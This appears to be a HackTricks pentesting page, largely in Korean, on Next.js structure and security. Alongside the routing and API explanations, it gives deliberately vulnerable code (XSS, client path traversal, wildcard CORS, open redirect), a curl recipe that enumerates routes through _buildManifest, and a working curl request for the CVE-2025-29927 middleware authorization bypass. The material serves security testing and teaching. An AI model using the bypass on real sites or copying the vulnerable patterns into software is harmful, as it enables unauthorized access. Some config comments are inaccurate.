NextJS

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Next.js 애플리케이션의 일반 아키텍처

일반적인 파일 구조

표준 Next.js 프로젝트는 라우팅, API 엔드포인트, 정적 자산 관리와 같은 기능을 용이하게 하는 특정 파일 및 디렉터리 구조를 따릅니다. 일반적인 레이아웃은 다음과 같습니다:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

핵심 디렉토리 및 파일

  • public/: 이미지, 글꼴 및 기타 파일과 같은 정적 자산을 호스팅합니다. 여기의 파일들은 루트 경로 (/)에서 접근 가능합니다.
  • app/: 애플리케이션의 pages, layouts, components, 및 API routes를 위한 중앙 디렉토리입니다. App Router 패러다임을 채택하여 고급 라우팅 기능과 서버-클라이언트 컴포넌트 분리를 가능하게 합니다.
  • app/layout.tsx: 애플리케이션의 루트 레이아웃을 정의하며, 모든 페이지를 감싸고 헤더, 푸터, 내비게이션 바 같은 일관된 UI 요소를 제공합니다.
  • app/page.tsx: 루트 라우트 (/)의 진입점으로 작동하며 홈 페이지를 렌더링합니다.
  • app/[route]/page.tsx: 정적 및 동적 라우트를 처리합니다. app/ 내부의 각 폴더는 라우트 세그먼트를 나타내며, 해당 폴더 내의 page.tsx는 라우트의 컴포넌트에 해당합니다.
  • app/api/: API 라우트를 포함하며 HTTP 요청을 처리하는 serverless 함수를 생성할 수 있게 합니다. 이 라우트는 기존의 pages/api 디렉토리를 대체합니다.
  • app/components/: 여러 페이지와 레이아웃에서 사용할 수 있는 재사용 가능한 React 컴포넌트를 보관합니다.
  • app/styles/: 글로벌 CSS 파일과 컴포넌트 범위 스타일링을 위한 CSS Modules를 포함합니다.
  • app/utils/: 유틸리티 함수, 헬퍼 모듈 및 애플리케이션 전체에서 공유할 수 있는 기타 UI가 아닌 로직을 포함합니다.
  • .env.local: 로컬 개발 환경에 특정한 환경 변수를 저장합니다. 이 변수들은 버전 관리에 커밋되지 않습니다.
  • next.config.js: webpack 설정, 환경 변수, 보안 설정 등 Next.js 동작을 커스터마이즈합니다.
  • tsconfig.json: 프로젝트의 TypeScript 설정을 구성하여 타입 검사 및 기타 TypeScript 기능을 활성화합니다.
  • package.json: 프로젝트의 종속성, 스크립트 및 메타데이터를 관리합니다.
  • README.md: 설정 방법, 사용 지침 및 기타 관련 정보를 포함한 프로젝트 문서와 정보를 제공합니다.
  • yarn.lock / package-lock.json: 프로젝트의 의존성을 특정 버전으로 고정하여 다양한 환경에서 일관된 설치를 보장합니다.

Next.js의 클라이언트 측

app 디렉토리의 파일 기반 라우팅

app 디렉토리는 최신 Next.js 버전에서 라우팅의 핵심입니다. 파일 시스템을 이용해 라우트를 정의하므로 라우트 관리를 직관적이고 확장 가능하게 만듭니다.

루트 경로 / 처리

파일 구조:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

핵심 파일:

  • app/page.tsx: 루트 경로 /에 대한 요청을 처리합니다.
  • app/layout.tsx: 애플리케이션의 레이아웃을 정의하고 모든 페이지를 감싸는 역할을 합니다.

구현:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

설명:

  • 경로 정의: app 디렉터리 바로 아래에 있는 page.tsx 파일은 / 경로에 해당합니다.
  • 렌더링: 이 컴포넌트는 홈 페이지의 내용을 렌더링합니다.
  • 레이아웃 통합: HomePage 컴포넌트는 layout.tsx로 래핑되어 있으며, 여기에는 헤더, 푸터 및 기타 공통 요소를 포함할 수 있습니다.
다른 정적 경로 처리

예시: /about 경로

파일 구조:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

설명:

  • 경로 정의: about 폴더 안의 page.tsx 파일은 /about 라우트에 해당합니다.
  • 렌더링: 이 컴포넌트는 about 페이지의 내용을 렌더링합니다.
동적 라우트

동적 라우트는 가변 세그먼트를 가진 경로를 처리할 수 있게 해주며, ID, 슬러그 등과 같은 매개변수를 기반으로 애플리케이션이 콘텐츠를 표시하도록 해줍니다.

예시: /posts/[id] 라우트

파일 구조:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

설명:

  • 동적 세그먼트: [id]는 라우트의 동적 세그먼트를 나타내며, URL에서 id 파라미터를 캡처합니다.
  • 파라미터 접근: params 객체는 동적 파라미터를 포함하며, 컴포넌트 내에서 접근할 수 있습니다.
  • 라우트 매칭: /posts/*와 매칭되는 모든 경로(예: /posts/1, /posts/abc 등)는 이 컴포넌트에서 처리됩니다.
중첩 라우트

Next.js는 중첩 라우팅을 지원하여 디렉터리 레이아웃을 반영하는 계층형 라우트 구조를 허용합니다.

예시: /dashboard/settings/profile 라우트

파일 구조:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

설명:

  • Deep Nesting: page.tsx 파일은 dashboard/settings/profile/ 안에 있으며 /dashboard/settings/profile 경로에 해당합니다.
  • Hierarchy Reflection: 디렉터리 구조는 URL 경로를 반영하여 유지보수성과 명확성을 향상시킵니다.
Catch-All 라우트

Catch-all 라우트는 여러 개의 중첩된 세그먼트나 알려지지 않은 경로를 처리하여 라우트 처리에 유연성을 제공합니다.

예시: /* Route

파일 구조:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

설명:

  • Catch-All Segment: [...slug]은 나머지 경로 세그먼트를 배열로 캡처합니다.
  • Usage: 사용자 생성 경로나 중첩 카테고리 등 동적 라우팅 시나리오를 처리하는 데 유용합니다.
  • Route Matching: /anything/here, /foo/bar/baz 등과 같은 경로는 이 컴포넌트에서 처리됩니다.

잠재적 클라이언트 측 취약점

While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:

Cross-Site Scripting (XSS)

XSS 공격은 악성 스크립트가 신뢰할 수 있는 웹사이트에 주입될 때 발생합니다. 공격자는 사용자의 브라우저에서 스크립트를 실행해 데이터를 훔치거나 사용자를 대신해 작업을 수행할 수 있습니다.

취약한 코드 예:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

취약한 이유: 신뢰할 수 없는 입력과 함께 dangerouslySetInnerHTML를 사용하면 공격자가 악성 스크립트를 주입할 수 있습니다.

Client-Side Template Injection

사용자 입력이 템플릿에서 부적절하게 처리될 때 발생하며, 공격자가 템플릿이나 표현식을 주입하고 실행할 수 있게 합니다.

취약한 코드 예시:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

취약한 이유: 만약 template 또는 data에 악의적인 내용이 포함되면 원치 않는 코드가 실행될 수 있습니다.

Client Path Traversal

이 취약점은 공격자가 클라이언트 측 경로를 조작하여 Cross-Site Request Forgery (CSRF)와 같은 원치 않는 동작을 수행하게 할 수 있습니다. Unlike server-side path traversal, which targets the server’s filesystem, CSPT focuses on exploiting client-side mechanisms to reroute legitimate API requests to malicious endpoints.

취약한 코드 예시:

Next.js 애플리케이션이 사용자가 파일을 업로드하고 다운로드할 수 있게 합니다. 다운로드 기능은 클라이언트 측에 구현되어 있으며, 사용자가 다운로드할 파일 경로를 지정할 수 있게 되어 있습니다.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

공격 시나리오

  1. 공격자의 목표: filePath를 조작하여 중요한 파일(예: admin/config.json)을 삭제하는 CSRF 공격을 수행합니다.
  2. CSPT 악용:
  • 악의적 입력: 공격자는 ../deleteFile/config.json 같은 조작된 filePath를 포함한 URL을 만듭니다.
  • 결과 API 호출: 클라이언트 측 코드는 /api/files/../deleteFile/config.json에 요청을 보냅니다.
  • 서버 처리: 서버가 filePath를 검증하지 않으면 요청을 처리하여 민감한 파일을 삭제하거나 노출시킬 수 있습니다.
  1. CSRF 실행:
  • 조작된 링크: 공격자는 피해자에게 링크를 보내거나 조작된 filePath로 다운로드 요청을 트리거하는 악성 스크립트를 삽입합니다.
  • 결과: 피해자는 자신도 모르게 해당 동작을 수행하여 무단 파일 액세스 또는 삭제로 이어집니다.

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • 발견된 경로(예: /docs, /docs/content/examples, /signin)를 사용해 인증 테스트와 엔드포인트 탐색을 진행하세요.

Next.js의 서버 사이드

서버 사이드 렌더링 (SSR)

페이지는 각 요청마다 서버에서 렌더링되어 사용자가 완전히 렌더된 HTML을 받도록 보장합니다. 이 경우 요청을 처리하기 위해 자체 커스텀 서버를 만들어야 합니다.

사용 사례:

  • 자주 변경되는 동적 콘텐츠.
  • 검색 엔진이 완전히 렌더된 페이지를 크롤링할 수 있으므로 SEO 최적화에 적합합니다.

구현:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

정적 사이트 생성 (SSG)

페이지가 빌드 시점에 미리 렌더링되어 로드 시간이 빨라지고 서버 부하가 감소합니다.

사용 사례:

  • 자주 변경되지 않는 콘텐츠.
  • 블로그, 문서, 마케팅 페이지.

구현:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

서버리스 함수 (API Routes)

Next.js에서는 API 엔드포인트를 서버리스 함수로 생성할 수 있습니다. 이러한 함수는 전용 서버가 필요 없이 온디맨드로 실행됩니다.

사용 사례:

  • 폼 제출 처리.
  • 데이터베이스와 상호작용.
  • 데이터 처리 또는 서드파티 API 통합.

구현:

Next.js 13에서 app 디렉터리가 도입되면서 라우팅과 API 처리가 더 유연하고 강력해졌습니다. 이 현대적인 접근 방식은 파일 기반 라우팅 시스템과 밀접하게 연동되며, 서버 및 클라이언트 컴포넌트 지원을 포함한 향상된 기능을 제공합니다.

기본 라우트 핸들러

파일 구조:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

구현:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

설명:

  • 위치: API 라우트는 app/api/ 디렉토리에 배치됩니다.
  • 파일명: 각 API 엔드포인트는 route.js 또는 route.ts 파일을 포함하는 자체 폴더에 위치합니다.
  • 내보낸 함수: 단일 기본 export 대신 특정 HTTP 메서드 함수(예: GET, POST)를 내보냅니다.
  • 응답 처리: Response 생성자를 사용하여 응답을 반환하면 헤더와 상태 코드를 더 세밀하게 제어할 수 있습니다.

다른 경로와 메서드 처리 방법:

특정 HTTP 메서드 처리

Next.js 13+에서는 동일한 route.js 또는 route.ts 파일 내에서 특정 HTTP 메서드에 대한 핸들러를 정의할 수 있어 코드가 더 명확하고 조직적으로 됩니다.

예제:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

설명:

  • 다중 Export: 각 HTTP 메서드 (GET, PUT, DELETE)는 고유한 export된 함수를 가집니다.
  • 매개변수: 두 번째 인수는 params를 통해 라우트 매개변수에 접근할 수 있게 합니다.
  • 향상된 응답: 응답 객체에 대한 더 큰 제어를 통해 헤더와 상태 코드를 정확하게 관리할 수 있습니다.
Catch-All 및 중첩 라우트

Next.js 13+는 catch-all 라우트 및 중첩 API 라우트와 같은 고급 라우팅 기능을 지원하여 보다 동적이고 확장 가능한 API 구조를 가능하게 합니다.

Catch-All 라우트 예시:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

설명:

  • 구문: [...]는 모든 중첩된 경로를 포괄하는 캐치올 세그먼트를 나타냅니다.
  • 사용: 다양한 경로 깊이나 동적 세그먼트를 처리해야 하는 API에 유용합니다.

중첩 라우트 예시:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

설명:

  • Deep Nesting: 계층적 API 구조를 허용하여 리소스 관계를 반영합니다.
  • Parameter Access: params 객체를 통해 여러 라우트 매개변수에 쉽게 접근할 수 있습니다.
Next.js 12 및 이전 버전에서 API routes 처리

pages 디렉터리의 API routes (Next.js 12 및 이전 버전)

Next.js 13이 app 디렉터리를 도입하고 라우팅 기능을 확장하기 전에는, API routes는 주로 pages 디렉터리 내에서 정의되었습니다. 이 방식은 Next.js 12 및 이전 버전에서도 여전히 널리 사용되고 지원됩니다.

기본 API Route

파일 구조:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

구현:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

설명:

  • 위치: API routes는 pages/api/ 디렉터리에 위치합니다.
  • 내보내기: export default를 사용하여 핸들러 함수를 정의합니다.
  • 함수 시그니처: 핸들러는 req (HTTP request) 및 res (HTTP response) 객체를 받습니다.
  • 라우팅: 파일 이름 (hello.js)은 엔드포인트 /api/hello에 매핑됩니다.

동적 API 라우트

파일 구조:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

구현:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

설명:

  • Dynamic Segments: Square brackets ([id].js) denote dynamic route segments.
  • Accessing Parameters: Use req.query.id to access the dynamic parameter.
  • Handling Methods: Utilize conditional logic to handle different HTTP methods (GET, PUT, DELETE, etc.).

다양한 HTTP 메서드 처리

기본 API 라우트 예제는 단일 함수 안에서 모든 HTTP 메서드를 처리하지만, 더 명확하고 유지보수하기 쉽도록 각 메서드를 명시적으로 처리하도록 코드를 구조화할 수 있습니다.

예시:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

모범 사례:

  • Separation of Concerns: 서로 다른 HTTP 메서드의 로직을 명확히 분리하세요.
  • Response Consistency: 클라이언트 측 처리를 용이하게 하기 위해 응답 구조를 일관되게 유지하세요.
  • Error Handling: 지원되지 않는 메서드와 예기치 않은 오류를 우아하게 처리하세요.

CORS 설정

어떤 출처(origin)가 API 라우트에 접근할 수 있는지 제어하여 Cross-Origin Resource Sharing (CORS) 취약점을 완화하세요.

잘못된 구성 예시:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

참고로 CORS는 모든 API routes에서 구성할 수도 있습니다 middleware.ts 파일 안에서:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

문제:

  • Access-Control-Allow-Origin: '*': 모든 웹사이트가 API에 접근할 수 있게 허용되어, 악의적인 사이트가 제한 없이 API와 상호작용할 가능성이 있습니다.
  • Wide Method Allowance: 모든 메서드를 허용하면 공격자가 원치 않는 동작을 수행할 수 있습니다.

공격자가 이를 악용하는 방법:

공격자는 악성 웹사이트를 만들어 API에 요청을 보내고, 데이터 조회, 데이터 조작 또는 인증된 사용자를 대신해 원치 않는 동작을 트리거하는 등 기능을 악용할 수 있습니다.

CORS - Misconfigurations & Bypass

클라이언트 측에서의 서버 코드 노출

서버에서 사용되는 코드를 클라이언트 측에 노출되어 사용되는 코드에서도 쉽게 사용할 수 있습니다, 파일이 클라이언트 측에 절대 노출되지 않도록 보장하는 가장 좋은 방법은 파일 맨 앞에서 다음 import를 사용하는 것입니다:

import "server-only"

주요 파일 및 역할

middleware.ts / middleware.js

위치: 프로젝트 루트 또는 src/ 내.

목적: 요청이 처리되기 전에 서버 측 serverless 함수에서 코드를 실행하여 인증, 리디렉션 또는 응답 수정과 같은 작업을 수행할 수 있게 합니다.

실행 흐름:

  1. 수신 요청: 미들웨어가 요청을 가로챕니다.
  2. 처리: 요청에 따라 작업을 수행합니다(예: 인증 확인).
  3. 응답 수정: 응답을 변경하거나 다음 핸들러로 제어를 전달할 수 있습니다.

예시 사용 사례:

  • 인증되지 않은 사용자 리디렉션.
  • 커스텀 헤더 추가.
  • 요청 로깅.

샘플 구성:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.

  • Baseline behavior is typically a 307 redirect to a login route like /api/auth/signin.
  • Send a long x-middleware-subrequest value (repeat middleware to hit MAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • 인증된 페이지는 많은 서브리소스를 로드하기 때문에, 자산이 리다이렉트되는 것을 방지하려면 모든 요청에 해당 헤더를 추가하세요 (예: Burp Match/Replace with an empty match string) .

next.config.js

Location: 프로젝트 루트.

Purpose: Next.js 동작을 구성하며, 기능 활성화/비활성화, webpack 구성 커스터마이징, 환경 변수 설정 및 여러 보안 기능 구성을 담당합니다.

Key Security Configurations:

보안 헤더

보안 헤더는 브라우저에 콘텐츠 처리 방법을 지시하여 애플리케이션의 보안을 강화합니다. 이는 Cross-Site Scripting (XSS), Clickjacking, MIME type sniffing과 같은 다양한 공격을 완화하는 데 도움이 됩니다:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

예시:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
이미지 최적화 설정

Next.js는 성능을 위해 이미지를 최적화하지만, 잘못된 구성은 신뢰할 수 없는 소스가 악성 콘텐츠를 주입할 수 있게 하는 등의 보안 취약점을 초래할 수 있습니다.

잘못된 구성 예시:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problem:

  • '*': 외부의 모든 소스(신뢰할 수 없거나 악성 도메인 포함)에서 이미지를 로드할 수 있도록 허용합니다. 공격자는 악성 페이로드를 포함하거나 사용자를 오도하는 내용을 담은 이미지를 호스팅할 수 있습니다.
  • Another problem might be to allow a domain where anyone can upload an image (like raw.githubusercontent.com)

How attackers abuse it:

악성 소스의 이미지를 주입함으로써, 공격자는 phishing attacks를 수행하거나 오도하는 정보를 표시하거나 이미지 렌더링 라이브러리의 취약점을 악용할 수 있습니다.

Environment Variables Exposure

민감한 정보인 API keys와 database credentials 같은 항목을 클라이언트에 노출하지 않도록 안전하게 관리하세요.

a. Exposing Sensitive Variables

Bad Configuration Example:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

문제:

  • SECRET_API_KEY: NEXT_PUBLIC_ 접두사가 없으면 Next.js는 변수를 클라이언트에 노출하지 않습니다. 하지만 실수로 접두사를 붙이면(예: NEXT_PUBLIC_SECRET_API_KEY) 클라이언트 측에서 접근 가능해집니다.

공격자가 악용하는 방법:

민감한 변수가 클라이언트에 노출되면, 공격자는 클라이언트 측 코드나 네트워크 요청을 검사하여 이를 획득할 수 있으며, API, 데이터베이스 또는 기타 서비스에 대한 무단 접근을 얻을 수 있습니다.

리디렉션

애플리케이션 내에서 URL 리다이렉션 및 rewrites를 관리하여 사용자가 적절히 이동되도록 하되, open redirect 취약점을 도입하지 않도록 하세요.

a. Open Redirect Vulnerability

잘못된 구성 예:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

문제:

  • 동적 목적지 (Dynamic Destination): 사용자가 임의의 URL을 지정할 수 있어 open redirect 공격을 가능하게 합니다.
  • 사용자 입력 신뢰 (Trusting User Input): 사용자 제공 URL을 검증 없이 리디렉션하면 phishing, malware distribution, 또는 credential theft로 이어질 수 있습니다.

공격자가 이를 악용하는 방법:

공격자는 귀하의 도메인에서 온 것처럼 보이는 URL을 만들어 사용자를 악성 사이트로 redirect할 수 있습니다. 예:

https://yourdomain.com/redirect?url=https://malicious-site.com

원본 도메인을 신뢰하는 사용자는 의도치 않게 악성 웹사이트로 이동할 수 있습니다.

Webpack Configuration

Next.js 애플리케이션의 Webpack 구성을 사용자 정의할 때 주의하지 않으면 의도치 않게 보안 취약점을 초래할 수 있습니다.

a. 민감한 모듈 노출

잘못된 구성 예시:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

문제:

  • 민감한 경로 노출: 민감한 디렉터리를 별칭으로 설정하고 client-side 접근을 허용하면 기밀 정보가 leak될 수 있습니다.
  • 비밀 번들링: 민감한 파일이 client-side용으로 번들되면, source maps 또는 client-side 코드를 검사해 해당 내용에 접근할 수 있습니다.

공격자가 악용하는 방법:

공격자는 애플리케이션의 디렉터리 구조에 접근하거나 이를 재구성하여 민감한 파일이나 데이터를 찾아 악용할 수 있습니다.

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: 기본 App 컴포넌트를 오버라이드하여 전역 상태, 스타일, 및 레이아웃 컴포넌트를 적용할 수 있게 합니다.

Use Cases:

  • 글로벌 CSS 주입.
  • 레이아웃 래퍼 추가.
  • 상태 관리 라이브러리 통합.

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

목적: 기본 Document를 재정의하여 HTML 및 Body 태그를 사용자화할 수 있게 합니다.

사용 사례:

  • <html> 또는 <body> 태그 수정.
  • meta 태그 또는 사용자 정의 스크립트 추가.
  • 타사 폰트 통합.

예시:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

사용자 정의 서버 (선택 사항)

목적: Next.js는 내장 서버를 제공하지만, 커스텀 라우팅이나 기존 백엔드 서비스와의 통합 같은 고급 사용 사례를 위해 커스텀 서버를 만들 수 있습니다.

참고: 커스텀 서버를 사용하면 배포 옵션이 제한될 수 있습니다. 특히 Next.js의 내장 서버에 최적화된 Vercel 같은 플랫폼에서는 제한이 커질 수 있습니다.

예시:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

추가적인 아키텍처 및 보안 고려사항

환경 변수 및 구성

목적: 민감한 정보와 구성 설정을 코드베이스 외부에서 관리합니다.

모범 사례:

  • .env 파일 사용: .env.local에 API keys와 같은 변수를 저장합니다(버전 관리에서 제외됨).
  • 변수에 안전하게 접근: 환경 변수에 접근하려면 process.env.VARIABLE_NAME을 사용하세요.
  • 클라이언트에 Secrets를 노출하지 마세요: 민감한 변수는 오직 서버 측에서만 사용되도록 하세요.

예시:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

